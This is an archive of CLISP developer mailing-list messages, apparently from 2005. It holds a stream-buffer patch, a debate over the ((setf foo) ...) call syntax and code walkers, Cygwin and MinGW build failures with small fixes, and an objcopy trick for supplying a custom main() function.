!       var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!       if (tmptmpbuflen > 0)
!         UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],
!                                                 tmptmpbuflen,false);
        #else
        UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,
                                                tmpptr-&tmpbuf[0],false);
***************
*** 6539,6547 ****
                                &buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
    var uintL buflen = bptr-&buf[0];
!   write_byte_array_buffered(stream,&buf[0],buflen,false);
!   # increment position
!   BufferedStream_position(stream) += buflen;
   #else
    write_byte_buffered(stream,as_cint(c)); # write unchanged
   #endif
--- 6559,6569 ----
                                &buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
    var uintL buflen = bptr-&buf[0];
!   if (buflen > 0) {
!     write_byte_array_buffered(stream,&buf[0],buflen,false);
!     # increment position
!     BufferedStream_position(stream) += buflen;
!   }
   #else
    write_byte_buffered(stream,as_cint(c)); # write unchanged
   #endif
***************
*** 6564,6572 ****
      Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,
                                  &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
      var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!     write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false);
!     # increment position
!     BufferedStream_position(stream) += tmptmpbuflen;
    } until (charptr == endptr);
    #undef tmpbufsize
   #else
--- 6586,6596 ----
      Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,
                                  &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
      var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!     if (tmptmpbuflen > 0) {
!       write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false);
!       # increment position
!       BufferedStream_position(stream) += tmptmpbuflen;
!     }
    } until (charptr == endptr);
    #undef tmpbufsize
   #else
***************
*** 6592,6600 ****
    Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
    var uintL buflen = bptr-&buf[0];
!   write_byte_array_buffered(stream,&buf[0],buflen,false);
!   # increment position
!   BufferedStream_position(stream) += buflen;
   #else
    write_byte_buffered(stream,as_cint(c));
   #endif
--- 6616,6626 ----
    Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
    var uintL buflen = bptr-&buf[0];
!   if (buflen > 0) {
!     write_byte_array_buffered(stream,&buf[0],buflen,false);
!     # increment position
!     BufferedStream_position(stream) += buflen;
!   }
   #else
    write_byte_buffered(stream,as_cint(c));
   #endif
***************
*** 6633,6641 ****
                                    &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
        var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!       write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false);
!       # increment position
!       BufferedStream_position(stream) += tmptmpbuflen;
      }
      remaining -= n;
    } while (remaining > 0);
--- 6659,6669 ----
                                    &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
        var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!       if (tmptmpbuflen > 0) {
!         write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false);
!         # increment position
!         BufferedStream_position(stream) += tmptmpbuflen;
!       }
      }
      remaining -= n;
    } while (remaining > 0);
***************
*** 6675,6683 ****
                                &buf[2*max_bytes_per_chart]);
    ASSERT(cptr == cp+n);
    var uintL buflen = bptr-&buf[0];
!   write_byte_array_buffered(stream,&buf[0],buflen,false);
!   # increment position
!   BufferedStream_position(stream) += buflen;
   #else
    if (chareq(c,ascii(NL))) {
      write_byte_buffered(stream,CR); write_byte_buffered(stream,LF);
--- 6703,6713 ----
                                &buf[2*max_bytes_per_chart]);
    ASSERT(cptr == cp+n);
    var uintL buflen = bptr-&buf[0];
!   if (buflen > 0) {
!     write_byte_array_buffered(stream,&buf[0],buflen,false);
!     # increment position
!     BufferedStream_position(stream) += buflen;
!   }
   #else
    if (chareq(c,ascii(NL))) {
      write_byte_buffered(stream,CR); write_byte_buffered(stream,LF);
***************
*** 6721,6729 ****
        Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
        var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!       write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false);
!       # increment position
!       BufferedStream_position(stream) += tmptmpbuflen;
      }
      remaining -= n;
    } while (remaining > 0);
--- 6751,6761 ----
        Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
        var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!       if (tmptmpbuflen > 0) {
!         write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false);
!         # increment position
!         BufferedStream_position(stream) += tmptmpbuflen;
!       }
      }
      remaining -= n;
    } while (remaining > 0);



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Hi,

while we are at CLISP custom syntax uses, here's something Marco Baringer just reported as causing problems with Iterate (and code walkers, generally):
  ((setf foo) value other-args)

CLISP does not document this syntax extension (probably nobody uses it directly). Yet it appears as a result of macroexpansion:
[9]> (macroexpand-1'(setf (values-list (list a b c)) (foo)))
(LET* ((#:G6359 (LIST A B C))) ((SETF VALUES-LIST) (FOO) #:G6359)) ;
T

I consider it impossible to add such an extension. The standard clearly says:
?3.1.2.1.2
A cons that is used as a form is called a compound form.
If the car of the compound form is not a symbol, then that car must be a lambda expression, in which case the compound form is a lambda form.

With ((setf ...) ...), the car is not a symbol, nor a lambda expression. It's not legal CL (and it's not a function form).

Therefore, I believe CLISP must not use such special syntax, or it will cause trouble to any portable code walker.

IMHO ((setf ...) ...) cannot be considered a function form, since the standard uses a discrimination tree to distinguish among the three categories: function, special and lambda forms. Nowhere does it say "a function form is a list starting with a function name or designator, and (setf ...) is a function designator" -- except in the glossary, so YMMV:

"function form n. a form that is a list and that has a first element which is the name of a function to be called on arguments [...]"


One may argue that the above example with (setf value-list) is specific to CLISP (impnotes ?5.1.5) and thus non-portable already. Well, it's just the first example I came up with after Marco Baringer reported the bug to the iterate-devel mailing list. I guess there are other such uses of illegal syntax in macroexpansions from CLISP for plain porable code.
Suggestions are welcome!

BTW, #'(setf values-list)
*** - FUNCTION: undefined function (SETF VALUES-LIST)
Same for #'(setf car), but I guess CL says nowhere that (setf car) is the name of a defined function. I presume it only applies to self-defined functions.

Regards,
	Jorg Hohle.


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Joerg-Cyril Hoehle wrote:
> I consider it impossible to add such an extension. The standard clearly
> says: ?3.1.2.1.2
> A cons that is used as a form is called a compound form.
> If the car of the compound form is not a symbol, then that car must be a
> lambda expression, in which case the compound form is a lambda form.

The ANSI CL committee, when they voted down item 7 of issue
<FUNCTION-NAME:LARGE>, voted for inconsistency.

CLISP supports the consistent way of using function names, in DEFUN,
in DECLARE INLINE, in DEFGENERIC, in DEFCLASS slot options, in FBOUNDP,
in FUNCTION, _and_ also in the function call syntax.

> glossary, so YMMV:
>
> "function form n. a form that is a list and that has a first element which
> is the name of a function to be called on arguments [...]"

Cool! You already found the paragraph that supports the extension!

> Therefore, I believe CLISP must not use such special syntax, or it will
> cause trouble to any portable code walker.

Come on, get real:

1) There is no such thing as a portable code walker.
You cannot expand

    (macrolet ((foo (a &environment env) ...))
      (symbol-macrolet (x 5)
        (macrolet ((bar () (foo x)))
          (bar))))

in a portable way, because in order to do so, you would need to construct
a macroexpansion environment 'env' that contains the symbol-macro binding
for 'x' in the format that the implementation uses. You don't have the
portable primitives for doing so.

2) If you are working on a semi-portable code walker, that anyway
requires some adjustments for every Lisp implementation, then please
do yourself a favour and replace

    (symbolp x)

with

    (typep x '(or symbol (cons (eql setf) (cons symbol null))))

at the appropriate place. It's a one-line change.

Bruno



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Bruno Haible wrote:

>CLISP supports the consistent way of using function names, in DEFUN,
>in DECLARE INLINE, in DEFGENERIC, in DEFCLASS slot options, in =
FBOUNDP,
>in FUNCTION, _and_ also in the function call syntax.

IMHO, it's not yet consistent, since the following source-level =
transformation does not work for (setf values-list) as a function-name:
(<f> <args>...)
=3D=3D (funcall (function <f>) <args>...)
(same for apply), since I already pointed out that #'(setf values-list) =
yield an error.

Some macros are likely to do such transformations. It works for names =
as symbols and for (lambda ...) expressions.


>Cool! You already found the paragraph that supports the extension!
I'd like to find a similar paragraph in impnotes.

I can live with #+clisp-specific ((setf foo) v bar) syntax.


>do yourself a favour and replace [...] with
>    (typep x '(or symbol (cons (eql setf) (cons symbol null))))
>at the appropriate place. It's a one-line change.

It's not a one line change, since it endangers other places in the code =
(a typical static vs. dynamic typing argument).
For example, calls to (macro-function x), special-operator-p or type =
declarations because CLHS states:
macro-function symbol &optional environment =3D> function
symbol---a symbol.
But I fully agree that the amount of changes is limited.

Concretely, if I were to apply the proposed change in Iterate, which =
(not surprisingly) has such a SYMBOLP test, it would break because:
(special-operator-p '(setf values-list))
*** - SPECIAL-OPERATOR-P: (SETF VALUES-LIST) is not a symbol
But I have a 2-line patch (4 with comments) that seems to work.


>There is no such thing as a portable code walker.
Agreed, yet every walker will need #+clisp-specific code.
Not so nice.
For instance, Marco Baringer came across this setf issue when trying to =
port his UCW to clisp (ucw includes a CPS transformer, which means code =
transformation).

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	J=C3=B6rg H=C3=B6hle.


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Joerg-Cyril Hoehle wrote:
> IMHO, it's not yet consistent, since the following source-level
> transformation does not work for (setf values-list) as a function-name:
> (<f> <args>...)
> == (funcall (function <f>) <args>...)

For all cases where (funcall (function <f>) <args>...) is valid,
in clisp  (<f> <args>...)  is valid as well and equivalent. That's
why I call this consistent.

> #'(setf values-list)

The function (setf values-list) does not exist, therefore both

    ((setf values-list) ...)
and
    (funcall (function (setf values-list)) ...)

are invalid. It is consistent.

The fact that (setf (values-list ...) ...) expanded to something invalid
was a bug and has now been fixed.

Bruno



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I've successfully built and run clisp under cygwin but when I tried to
build clisp with libsigsegv on cygwin I got the following compiler error:

    In file included from spvw.d:24:
    constobj.d:89: duplicate member `charname_8bis'
    constobj.d:91: duplicate member `charname_10bis'
    constobj.d:99: duplicate member `charname_0'
    constobj.d:106: duplicate member `charname_7'
    constobj.d:107: duplicate member `charname_8'
    constobj.d:108: duplicate member `charname_9'
    constobj.d:109: duplicate member `charname_10'
    constobj.d:110: duplicate member `charname_11'
    constobj.d:111: duplicate member `charname_12'
    constobj.d:112: duplicate member `charname_13'
    constobj.d:125: duplicate member `charname_26'
    constobj.d:126: duplicate member `charname_27'
    constobj.d:131: duplicate member `charname_32'
    constobj.d:437: duplicate member `backupextend_string'
    lispbibl.d:12521:1: warning: "INVALID_HANDLE_VALUE" redefined
    In file included from /usr/include/w32api/windows.h:50,
                    from /usr/local/include/sigsegv.h:21,
                    from lispbibl.d:1727,
                    from spvw.d:24:
    /usr/include/w32api/winbase.h:232:1: warning: this is the location of
    the previous definition
    make: *** [spvw.o] Error 1

Is anyone else using clisp under cygwin?  If yes, are you also using
libsigsegv?

Regards,
  --Jonathan


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> * Jonathan <shaxlw@tznvy.pbz> [2005-01-26 19:33:28 -0800]:
>
> Is anyone else using clisp under cygwin?  If yes, are you also using
> libsigsegv?

no problems with CVS head (I also built the cygwin binaries for clisp
releases without any problems).
I installed libsigsegv 2.1 in /usr/local/libsigsegv-cygwin/
and built clisp with
./configure --with-libsigsegv-prefix=/usr/local/libsigsegv-cygwin

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Hello,
I also had that problem, but in recent cvs builds it works for me. I think 
#windows and #unix were defined at the same time.

salud2

Karsten

"Jonathan" <funkyj@gmail.com> wrote in message 
news:b2562c8e05012619333751f9bd@mail.gmail.com...
I've successfully built and run clisp under cygwin but when I tried to
build clisp with libsigsegv on cygwin I got the following compiler error:

    In file included from spvw.d:24:
......

Is anyone else using clisp under cygwin?  If yes, are you also using
libsigsegv?

Regards,
  --Jonathan


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In case this is possible...
OOTB failed with gettext from mingw or gnuwin32

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-01-31 12:49:06 +0200]:
>
> In case this is possible...
> OOTB failed with gettext from mingw or gnuwin32

WFM:

cvs up
./configure --with-mingw --build build-mingw

what are your error messages?

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Sam Steingold:

> > In case this is possible...
> > OOTB failed with gettext from mingw or gnuwin32
>
> WFM:
>
> cvs up
> ./configure --with-mingw --build build-mingw
>
> what are your error messages?
>
Thanks!

1.
MODPREP: wrote gettext.m.c (151,298 bytes)
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES 
-DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o
gettext.c:13:19: clisp.h: No such file or directory
...
"-I../" - incorrect under mingw/msys, change to "-I.."

2.
$ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-si
gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE 
-DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I
. -I.. -c gettext.m.c -o gettext.o
In file included from gettext.c:13:
../clisp.h:555: warning: register used for two global register variables
gettext.c: In function `C_subr_i18n_language_information':
gettext.c:473: error: `GET_LOCALE_INFO_BUF_SIZE' undeclared (first use 
in this function)
gettext.c:473: error: (Each undeclared identifier is reported only once
gettext.c:473: error: for each function it appears in.)
gettext.c:475: warning: implicit declaration of function `get_locale_info'

That's all.

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Date: Mon Jan 31 08:26:57 2005
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-01-31 17:27:10 +0200]:
>
> MODPREP: wrote gettext.m.c (151,298 bytes)
> gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
> -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2
> -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
> -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o
> gettext.c:13:19: clisp.h: No such file or directory
> ...
> "-I../" - incorrect under mingw/msys, change to "-I.."

please apply this to modules/i18n/Makefile.in

--- Makefile.in	22 Oct 2004 13:53:54 -0400	1.1
+++ Makefile.in	31 Jan 2005 11:21:26 -0500	
@@ -3,7 +3,7 @@
 CC = @CC@
 CPPFLAGS = @CPPFLAGS@
 CFLAGS = @CFLAGS@
-INCLUDES= ../
+INCLUDES= ..
 MODPREP = ../modprep.fas
 
 CLISP = clisp -q -norc


> $ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
> -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-si
> gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE
> -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I
> . -I.. -c gettext.m.c -o gettext.o
> In file included from gettext.c:13:
> ../clisp.h:555: warning: register used for two global register variables
> gettext.c: In function `C_subr_i18n_language_information':
> gettext.c:473: error: `GET_LOCALE_INFO_BUF_SIZE' undeclared (first use
> in this function)
> gettext.c:473: error: (Each undeclared identifier is reported only once
> gettext.c:473: error: for each function it appears in.)
> gettext.c:475: warning: implicit declaration of function `get_locale_info'

please apply this to modules/i18n/gettext.c

--- gettext.c	25 Jan 2005 09:28:44 -0500	1.7
+++ gettext.c	31 Jan 2005 11:20:59 -0500	
@@ -241,6 +241,10 @@
   skipSTACK(2);
 }
 
+#if defined(WIN32_NATIVE)
+# define GET_LOCALE_INFO_BUF_SIZE 256
+#endif
+
 #if defined(HAVE_LOCALECONV)
 static void thousands_sep_to_STACK (char* sep1000) {
   int ii;
@@ -319,7 +323,6 @@
   funcall(`I18N::MK-LOCALE-CONV`,24);
 }
 #elif defined(WIN32_NATIVE)
-# define GET_LOCALE_INFO_BUF_SIZE 256
 static void get_locale_info (int what, char**res, int *res_size) {
   int val = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT,what|LOCALE_USE_CP_ACP,
                           *res,*res_size);


you will need to remove the i18n/ subdirectory in your build directory.

thanks for the bug report.

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I've come up with a little build hack that allows you to write
your own main() function when generating a custom lisp.run image.

It's a bit platform-specific in that the objcopy tool is required.

Your main() can process and filter the argument list, or perform your
own custom initialization stuff before calling the CLISP one.

You take your linkkit's link.sh file and change it according to this
diff:

--- code/unix-bindings/link.sh	16 Jan 2003 05:07:21 -0000	1.3
+++ code/unix-bindings/link.sh	14 Dec 2004 06:02:50 -0000
@@ -5,3 +5,8 @@
 NEW_MODULES="$mod_list"
 TO_LOAD='unix'
+
+# hack to get our own main()
+
+FILES="$(echo $FILES | sed -e 's/lisp.a //')"
+objcopy --redefine-sym main=clisp_main "$absolute_sourcedir"/lisp.a "$absolute_destinationdir"/lisp.a

What we are doing here is taking the lisp.a image out of the FILES
list, to prevent the main script from generating the symbolic link from
the linking set directory to the original lisp.a. This allows our
script to take on the responsibility of handling how the lisp.a
component is brought over from the original linking set to our new one.
Of course, we do that not by by symlinking it, but by making an edited
copy using the GNU objcopy tool to rename main() to clisp_main().

Then of course in your custom C module that you are linking, you have to
write a main function so everything links:

/*
 * Main function. We arrange this by a hack; when we build the
 * Lisp image, we rename the main function in the lisp.a archive
 * to clisp_main using the objcopy utility. Then we can have our
 * own main. See lisp.sh file.
 */

int main(int argc, char **argv)
{
  extern int clisp_main(int argc, char **argv);

  /* Code :before/:around CLISP */

  retcode = clisp_main(new_argc, new_argv);

  /* Code :after CLISP */ 

  return retcode;
}

Do I get brownie points for participating in aspect-oriented
programming? Hahaha.

Why is this useful? Well, for one thing, you can eliminate the use of a
#! script to launch your CLISP application. So you are one-step closer
to a ``true'' executable. Just write your main() so it adds whatever
extra arguments it needs that would otherwise be in the #! script.
Moreover, you can add arbitrary arguments; you don't run into strange
#! limitations (which is why I experimented with this approach in the
first place!)

Here is an example main() that copies the argument list and adds 
an extra two arguments at the front, in between argument 0 and 1.

Careful: the altered argument vector is locally allocated in main(), so
you can't refer to it from code that runs after main() returns, like
C++ destructors or atexit() handlers.

#include <stdlib.h> /* for malloc and free */

/*...*/

int main(int argc, char **argv)
{
  extern int clisp_main(int argc, char **argv);
  int new_argc = argc + 2;
  char **new_argv = malloc(sizeof *new_argv * (new_argc + 1));
  int i;
  char E_option[] = "-M";
  char E_arg[] = "/path/to/my/image.mem";
  int retcode;

  if (argv == 0) {
    fprintf(stderr, "%s: out of memory\n", argv[0]);
    return EXIT_FAILURE;
  }

  new_argv[0] = argv[0];
  new_argv[1] = E_option;
  new_argv[2] = E_arg;
  memcpy(&new_argv[3], &argv[1], sizeof argv[1] * (argc - 1));
  new_argv[new_argc] = 0;

  retcode = clisp_main(new_argc, new_argv);

  free(new_argv);

  return retcode;
}

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When I start up clisp I get the error: '*** - invalid byte #xFC in 
CHARSET:ASCII conversion'. Using 'clisp -norc' yields no error. There is 
neither .clisprc.lisp nor .clisprc.fas in my home directory so what is going 
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> * Patrick-Oliver Lorenz <cngevpx70@tzk.qr> [2005-01-31 21:46:12 +0100]:
>
> When I start up clisp I get the error: '*** - invalid byte #xFC in
> CHARSET:ASCII conversion'. Using 'clisp -norc' yields no error. There
> is neither .clisprc.lisp nor .clisprc.fas in my home directory so what
> is going wrong?

you have non-ASCII characters in pathnames.
<http://clisp.cons.org/faq.html#enc-err>.

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Sam Steingold:

> > MODPREP: wrote gettext.m.c (151,298 bytes)
> > gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
> > -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2
> > -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
> > -DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o
> > gettext.c:13:19: clisp.h: No such file or directory
> > ...
> > "-I../" - incorrect under mingw/msys, change to "-I.."
>
> please apply this to modules/i18n/Makefile.in
>
> --- Makefile.in 22 Oct 2004 13:53:54 -0400      1.1
> +++ Makefile.in 31 Jan 2005 11:21:26 -0500     
> @@ -3,7 +3,7 @@
>  CC = @CC@
>  CPPFLAGS = @CPPFLAGS@
>  CFLAGS = @CFLAGS@
> -INCLUDES= ../
> +INCLUDES= ..
>  MODPREP = ../modprep.fas
>  
>  CLISP = clisp -q -norc
>
This patch needs for all modules (syscalls, regexp, etc...)
But... does not help:
...
;; MODPREP: 183 objects, 9 DEFUNs
;; packages: ("I18N")
MODPREP: wrote gettext.m.c (151,333 bytes)
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES 
-DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o
gettext.c:13:19: clisp.h: No such file or directory
gettext.c:28: error: syntax error before string constant
...
But, we already passed it:
$ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-si
gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE 
-DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I
. -I.. -c gettext.m.c -o gettext.o
In file included from gettext.c:13:
../clisp.h:555: warning: register used for two global register variables
gettext.c: In function `C_subr_i18n_language_information':
gettext.c:478: warning: implicit declaration of function `get_locale_info'
...
This after apply patch:

> --- gettext.c   25 Jan 2005 09:28:44 -0500      1.7
> +++ gettext.c   31 Jan 2005 11:20:59 -0500     
> @@ -241,6 +241,10 @@
>    skipSTACK(2);
>  }
>  
> +#if defined(WIN32_NATIVE)
> +# define GET_LOCALE_INFO_BUF_SIZE 256
> +#endif
> +
>  #if defined(HAVE_LOCALECONV)
>  static void thousands_sep_to_STACK (char* sep1000) {
>    int ii;
> @@ -319,7 +323,6 @@
>    funcall(`I18N::MK-LOCALE-CONV`,24);
>  }
>  #elif defined(WIN32_NATIVE)
> -# define GET_LOCALE_INFO_BUF_SIZE 256
>  static void get_locale_info (int what, char**res, int *res_size) {
>    int val = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT,what|LOCALE_USE_CP_ACP,
>                            *res,*res_size);
>
We still shall see `get_locale_info'...
$ make
...
`syscalls' too swears:
$ gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-si
gn-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE 
-DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I
. -I.. -c calls.m.c -o calls.o
In file included from calls.c:20:
../clisp.h:555: warning: register used for two global register variables
calls.c: In function `getrlimit_arg':
calls.c:4045: warning: comparison of unsigned expression < 0 is always false
calls.c: In function `getrlimit_arg_reverse':
calls.c:4058: warning: comparison of unsigned expression < 0 is always false
calls.c: In function `C_subr_posix_lgamma':
calls.c:197: warning: implicit declaration of function `lgamma_r'
...
Result:
CLISP_LINKKIT=. clisp-link add-module-sets boot base i18n syscalls 
regexp || (rm -rf base ; exit 1)
make[1]: Entering directory `/home/clisp/build-mingw/i18n'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/home/clisp/build-mingw/i18n'
make[1]: Entering directory `/home/clisp/build-mingw/syscalls'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/home/clisp/build-mingw/syscalls'
make[1]: Entering directory `/home/clisp/build-mingw/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/home/clisp/build-mingw/regexp'
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES 
-DDYNAMIC_FFI -DNO_GETTEXT -I. -I/home/clisp/build-mingw -c modules.c
In file included from modules.d:11:
C:/gnu/home/clisp/build-mingw/clisp.h:555: warning: register used for 
two global register variables
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none 
modules.o regexi.o regex.o calls.o -luser32 -lole32 -loleaut32 -luuid 
gettext.o lisp.a libcharset.a libavcall.a libcallback.a -luser32 
-lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.exe
calls.o(.text+0x4e0):calls.m.c: undefined reference to `lgamma_r'
gettext.o(.text+0xb5a):gettext.m.c: undefined reference to `get_locale_info'
gettext.o(.text+0xbe2):gettext.m.c: undefined reference to `get_locale_info'

    !!!!!......................................... Here our 
`get_locale_info' and `lgamma_r'

collect2: ld returned 1 exit status
boot/lisp.exe -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i 
syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem 
"base/lispinit.mem")
;; Loading file i18n\preload.lisp ...
;; Loaded file i18n\preload.lisp
;; Loading file syscalls\preload.lisp ...
;; Loaded file syscalls\preload.lisp
;; Loading file regexp\preload.lisp ...
;; Loaded file regexp\preload.lisp
1562080 ;
524288
base/lisp.exe -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i 
syscalls/posix -i regexp/regexp -x (saveinitmem "base/lispinit.mem")
./clisp-link: base/lisp.exe: No such file or directory
make: *** [base] Error 1

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-01-31 17:27:10 +0200]:
>
> "-I../" - incorrect under mingw/msys, change to "-I.."

are you sure this is a GCC message?
I am pretty sure mingw/msys gcc _does_ accept "/" as a path separator.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-01 09:47:03 +0200]:
>
> calls.c: In function `getrlimit_arg':
> calls.c:4045: warning: comparison of unsigned expression < 0 is always false
> calls.c: In function `getrlimit_arg_reverse':
> calls.c:4058: warning: comparison of unsigned expression < 0 is always false

should be fixed in the CVS head.

> calls.c: In function `C_subr_posix_lgamma':
> calls.c:197: warning: implicit declaration of function `lgamma_r'

please investigate: lgamma_r is used only if autoconf detects the
appropriate declaration in <math.h>.
please get cvs head, reconfigure, and look at the config.log file for
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Sam Steingold:

> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-01-31 17:27:10 +0200]:
> >
> > "-I../" - incorrect under mingw/msys, change to "-I.."
>
> are you sure this is a GCC message?
> I am pretty sure mingw/msys gcc _does_ accept "/" as a path separator.
>
No, certainly no! I am sorry, it is my own remark.
Having received the message

;; MODPREP: 183 objects, 9 DEFUNs
;; packages: ("I18N")
MODPREP: wrote gettext.m.c (151,298 bytes)
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES 
-DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o
gettext.c:13:19: clisp.h: No such file or directory

having made sure, that a file clisp.h on a place, I have change 
directory to i18n and have repeated command

gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 
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-DDYNAMIC_FFI -DNO_GETTEXT -I. -I../ -c gettext.m.c -o gettext.o

with "-I../" and with "-I..". The first attempt has produced too the 
message

gettext.c:13:19: clisp.h: No such file or directory

the second attempt was successful.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-01 09:47:03 +0200]:
>
> gettext.c:478: warning: implicit declaration of function `get_locale_info'
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fixed in the CVS head.

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Sam Steingold:

> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-01 09:47:03 +0200]:
> >
> > gettext.c:478: warning: implicit declaration of function 
> `get_locale_info'
> > calls.c:197: warning: implicit declaration of function `lgamma_r'
>
> fixed in the CVS head.
>
> thanks for your bug report.
>
Many thanks!
I wait cvs-tarball.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-01 17:54:40 +0200]:
>
> I wait cvs-tarball.

I recommend
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> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-01 17:54:40 +0200]:
> >
> > I wait cvs-tarball.
>
> I recommend
> <http://sourceforge.net/cvs/?group_id=1355>.
>
I have internet access over proxy with closed 2401 port.
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clisp from cvs.

./configure --with-mingw --with-module=dirkey --with-module=postgresql 
--with-module=zlib --with-module=rawsock --build build-full

after "make check"

$ cat tests/path.erg
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(UNWIND-PROTECT (WITH-OPEN-FILE (S FILE :DIRECTION :OUTPUT) (LIST (NOT 
(NULL (PROBE-FILE FILE))) (NOT (NULL (PROBE-FILE S))) (EQUALP (TRUENAME 
S) (TRUENAME FILE)))) (DELETE-FILE FILE)))
CORRECT: (T T T)
CLISP  : (T T NIL)

Differ at position 2: T vs NIL
CORRECT: (T)
CLISP  : (NIL)

after "make distrib" and install:

$ full/lisp.exe -M full/lispinit.mem --version
GNU CLISP 2.33.80 (2004-11-27) (built on nb [150.0.0.200])
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
